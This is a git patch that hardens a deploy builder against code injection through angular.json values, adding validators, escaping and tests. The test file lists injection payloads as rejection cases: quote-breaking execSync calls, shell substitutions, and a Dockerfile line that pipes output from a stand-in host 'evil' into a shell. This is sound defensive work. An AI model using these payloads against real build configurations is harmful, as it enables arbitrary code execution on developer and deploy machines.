From 56541db17ac11ea6cf3b8df7752b46d9e5661ef8 Mon Sep 17 00:00:00 2001 From: Herdiyan Adam Putra Date: Mon, 10 Aug 2026 23:39:18 +0700 Subject: [PATCH] fix(deploy): prevent code-generation injection from angular.json values The SSR deploy builders interpolate several angular.json values into generated artifacts that are later executed: a server build target's outputPath into the Cloud Function index.js and the package.json start script, functionName into the exports assignment, region into the .region() call, and functionsNodeVersion into the Cloud Run Dockerfile FROM line. outputPath, functionName and functionsNodeVersion are screened before code generation (assertSafeOutputPath, assertSafeFunctionName, assertSafeNodeVersion); region is escaped structurally with JSON.stringify in the template. functionName is only screened on the Functions path, where it becomes a JavaScript identifier. The functionName and region schema patterns are left to #3726, which already carries stricter versions of both, and the serviceId TODO above the gcloud calls is narrowed to firebaseProject and vpcConnector, since that pattern now covers the service ID. The functionsNodeVersion schema pattern stays here. --- src/schematics/deploy/actions.jasmine.ts | 115 ++++++++++++++++++- src/schematics/deploy/actions.ts | 47 +++++++- src/schematics/deploy/functions-templates.ts | 2 +- src/schematics/deploy/schema.json | 1 + 4 files changed, 162 insertions(+), 3 deletions(-) diff --git a/src/schematics/deploy/actions.jasmine.ts b/src/schematics/deploy/actions.jasmine.ts index 1795ea10d..d51d17a53 100644 --- a/src/schematics/deploy/actions.jasmine.ts +++ b/src/schematics/deploy/actions.jasmine.ts @@ -1,9 +1,10 @@ /* eslint-disable @typescript-eslint/no-empty-function */ import { join } from 'path'; +import { Script } from 'vm'; import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect'; import { JsonObject, logging } from '@angular-devkit/core'; import { BuildTarget, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces'; -import deploy, { deployToFunction } from './actions.js' +import deploy, { assertSafeFunctionName, assertSafeNodeVersion, assertSafeOutputPath, deployToCloudRun, deployToFunction } from './actions.js' import 'jasmine'; let context: BuilderContext; @@ -300,3 +301,115 @@ describe('universal deployment', () => { expect(spy).not.toHaveBeenCalled(); });*/ }); + +describe('deploy codegen input validation (injection hardening)', () => { + describe('assertSafeOutputPath', () => { + ['dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e'].forEach((p) => { + it(`allows the valid outputPath "${p}"`, () => { + expect(assertSafeOutputPath(p, 'proj:server')).toBe(p); + }); + }); + + [`x'); require('child_process').execSync('id'); ('`, 'a`id`', 'a$(id)', 'a;b', 'a\nb', 'a"b', 'a|b'].forEach((p) => { + it(`rejects the unsafe outputPath ${JSON.stringify(p)}`, () => { + expect(() => assertSafeOutputPath(p, 'proj:server')).toThrowError(/Unsafe outputPath/); + }); + }); + }); + + describe('assertSafeNodeVersion', () => { + [undefined, 18, 20, '18', '18.19', '20.11.1'].forEach((v) => { + it(`allows the valid functionsNodeVersion ${JSON.stringify(v)}`, () => { + expect(() => assertSafeNodeVersion(v as string | number | undefined)).not.toThrow(); + }); + }); + + ['18-slim\nRUN curl evil | sh', '18 && id', 'latest', '18;id', '$(id)'].forEach((v) => { + it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(v)}`, () => { + expect(() => assertSafeNodeVersion(v)).toThrowError(/Unsafe functionsNodeVersion/); + }); + }); + }); + + describe('assertSafeFunctionName', () => { + [undefined, 'ssr', 'ssrHandler', '_app', '$fn', 'a1'].forEach((n) => { + it(`allows the valid functionName ${JSON.stringify(n)}`, () => { + expect(() => assertSafeFunctionName(n as string | undefined)).not.toThrow(); + }); + }); + + [`ssr; require('child_process').execSync('id'); var _x`, 'my-fn', 'a b', '1fn', 'a.b', `a'`].forEach((n) => { + it(`rejects the unsafe functionName ${JSON.stringify(n)}`, () => { + expect(() => assertSafeFunctionName(n)).toThrowError(/Unsafe functionName/); + }); + }); + }); +}); + +// These drive the builders end-to-end so the protection cannot be silently dropped: +// each fails if the corresponding assert call is removed from deployToFunction / +// deployToCloudRun, rather than only exercising the validators in isolation. +describe('deploy codegen hardening is wired into the builders', () => { + beforeEach(() => initMocks()); + + const withServerOutputPath = (outputPath: string) => ((target: Target) => { + if (target.target === 'build') { return { outputPath: 'dist/browser' }; } + if (target.target === 'server') { return { outputPath }; } + return undefined; + }) as unknown as BuilderContext['getTargetOptions']; + + const EVIL_PATH = `dist'); require('child_process').execSync('id'); ('`; + + it('deployToFunction rejects a hostile server outputPath', async () => { + context.getTargetOptions = withServerOutputPath(EVIL_PATH); + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToFunction rejects a server outputPath that starts with a dash', async () => { + context.getTargetOptions = withServerOutputPath('-rf'); + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToFunction rejects a functionName that is not a plain identifier', async () => { + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, functionName: `ssr; require('child_process').execSync('id'); var _x` }, + undefined, fsHost + )).toBeRejectedWithError(/Unsafe functionName/); + }); + + it('deployToFunction escapes region into the generated function instead of interpolating it raw', async () => { + const spy = spyOn(fsHost, 'writeFileSync'); + const region = `us-central1'); require('child_process').execSync('id'); ('`; + await deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, region }, undefined, fsHost + ); + const indexJs = spy.calls.argsFor(1)[1] as string; + expect(indexJs).toContain(`.region(${JSON.stringify(region)})`); + // The payload survives only as data inside a string literal: compiling the source + // (without running it) still parses, so nothing broke out of the literal. + expect(() => new Script(indexJs)).not.toThrow(); + }); + + it('deployToCloudRun rejects a hostile server outputPath', async () => { + context.getTargetOptions = withServerOutputPath(EVIL_PATH); + await expectAsync(deployToCloudRun( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToCloudRun rejects a hostile functionsNodeVersion', async () => { + await expectAsync(deployToCloudRun( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe functionsNodeVersion/); + }); +}); diff --git a/src/schematics/deploy/actions.ts b/src/schematics/deploy/actions.ts index cecf255bf..69cd28855 100644 --- a/src/schematics/deploy/actions.ts +++ b/src/schematics/deploy/actions.ts @@ -64,6 +64,45 @@ export type DeployBuilderOptions = DeployBuilderSchema & Record; const escapeRegExp = (str: string) => str.replace(/[-[\]/{}()*+?.\\^$|]/g, '\\$&'); +// A build target's outputPath (from angular.json's architect...options) +// is interpolated raw into generated Cloud Function source (`require('.//main')`) +// and into the generated package.json start script (`node /main.js`), both of which +// are later executed. Reject values carrying quotes, backslashes, newlines or shell +// metacharacters, which could break out of that string literal or command, and reject a +// leading dash, which the start script's `node /main.js` would read as a flag. +export const assertSafeOutputPath = (outputPath: string, targetName: string): string => { + if (/['"`\\\r\n;$&|<>(){}]/.test(outputPath) || outputPath.startsWith('-')) { + throw new SchematicsException( + `Unsafe outputPath ${JSON.stringify(outputPath)} for target '${targetName}' in angular.json.` + ); + } + return outputPath; +}; + +// functionName is interpolated raw into the generated Cloud Function source as the +// `exports.` assignment target (functions-templates.ts), which is executed when the +// function loads. Allow only a plain JavaScript identifier so it cannot introduce further +// statements; this also turns a name that would silently produce an unparseable file (for +// example one containing a dash) into an explicit error. +export const assertSafeFunctionName = (functionName: string | undefined): void => { + if (functionName !== undefined && !/^[A-Za-z_$][A-Za-z0-9_$]*$/.test(functionName)) { + throw new SchematicsException( + `Unsafe functionName ${JSON.stringify(functionName)} in angular.json; expected a plain identifier.` + ); + } +}; + +// functionsNodeVersion is interpolated raw into the generated Dockerfile's FROM line +// (`FROM node:-slim`), executed during the Cloud Run container build. Restrict it +// to a plain version so it cannot inject extra Dockerfile instructions. +export const assertSafeNodeVersion = (version: string | number | undefined): void => { + if (version !== undefined && !/^\d+(\.\d+)*$/.test(String(version))) { + throw new SchematicsException( + `Unsafe functionsNodeVersion ${JSON.stringify(version)} in angular.json.` + ); + } +}; + const moveSync = (src: string, dest: string) => { copySync(src, dest); removeSync(src); @@ -178,6 +217,7 @@ export const deployToFunction = async ( `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name); const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name)); if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') { @@ -185,11 +225,13 @@ export const deployToFunction = async ( `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name); const staticOut = join(workspaceRoot, staticBuildOptions.outputPath); const serverOut = join(workspaceRoot, serverBuildOptions.outputPath); const functionsOut = options.outputPath ? join(workspaceRoot, options.outputPath) : dirname(serverOut); + assertSafeFunctionName(options.functionName); const functionName = options.functionName || DEFAULT_FUNCTION_NAME; const newStaticOut = join(functionsOut, staticBuildOptions.outputPath); @@ -297,6 +339,7 @@ export const deployToCloudRun = async ( `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name); const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name)); if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') { @@ -304,6 +347,7 @@ export const deployToCloudRun = async ( `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name); const staticOut = join(workspaceRoot, staticBuildOptions.outputPath); const serverOut = join(workspaceRoot, serverBuildOptions.outputPath); @@ -336,6 +380,7 @@ export const deployToCloudRun = async ( JSON.stringify(packageJson, null, 2), ); + assertSafeNodeVersion(options.functionsNodeVersion); fsHost.writeFileSync( join(cloudRunOut, 'Dockerfile'), dockerfile(options) @@ -368,7 +413,7 @@ export const deployToCloudRun = async ( if (cloudRunOptions.timeout) { deployArguments.push('--timeout', cloudRunOptions.timeout); } if (cloudRunOptions.vpcConnector) { deployArguments.push('--vpc-connector', cloudRunOptions.vpcConnector); } - // TODO validate serviceId, firebaseProject, and vpcConnector both to limit errors and opp for injection + // TODO validate firebaseProject and vpcConnector both to limit errors and opp for injection context.logger.info(`📦 Deploying to Cloud Run`); await spawnAsync(`gcloud builds submit ${cloudRunOut} --tag gcr.io/${options.firebaseProject}/${serviceId} --project ${options.firebaseProject} --quiet`); diff --git a/src/schematics/deploy/functions-templates.ts b/src/schematics/deploy/functions-templates.ts index 13cd9ab14..2b8e48fd4 100644 --- a/src/schematics/deploy/functions-templates.ts +++ b/src/schematics/deploy/functions-templates.ts @@ -42,7 +42,7 @@ require("firebase-functions/logger/compat"); const expressApp = require('./${path}/main').app(); exports.${functionName || DEFAULT_FUNCTION_NAME} = functions - .region('${options.region || DEFAULT_FUNCTION_REGION}') + .region(${JSON.stringify(options.region || DEFAULT_FUNCTION_REGION)}) .runWith(${JSON.stringify(options.functionsRuntimeOptions || DEFAULT_RUNTIME_OPTIONS)}) .https .onRequest(expressApp); diff --git a/src/schematics/deploy/schema.json b/src/schematics/deploy/schema.json index 6335d3a8d..c088a0274 100644 --- a/src/schematics/deploy/schema.json +++ b/src/schematics/deploy/schema.json @@ -55,6 +55,7 @@ }, "functionsNodeVersion": { "oneOf": [{ "type": "number" }, { "type": "string" }], + "pattern": "^\\d+(\\.\\d+)*$", "description": "Version of Node.js to run Cloud Functions / Run on" }, "CF3v2": {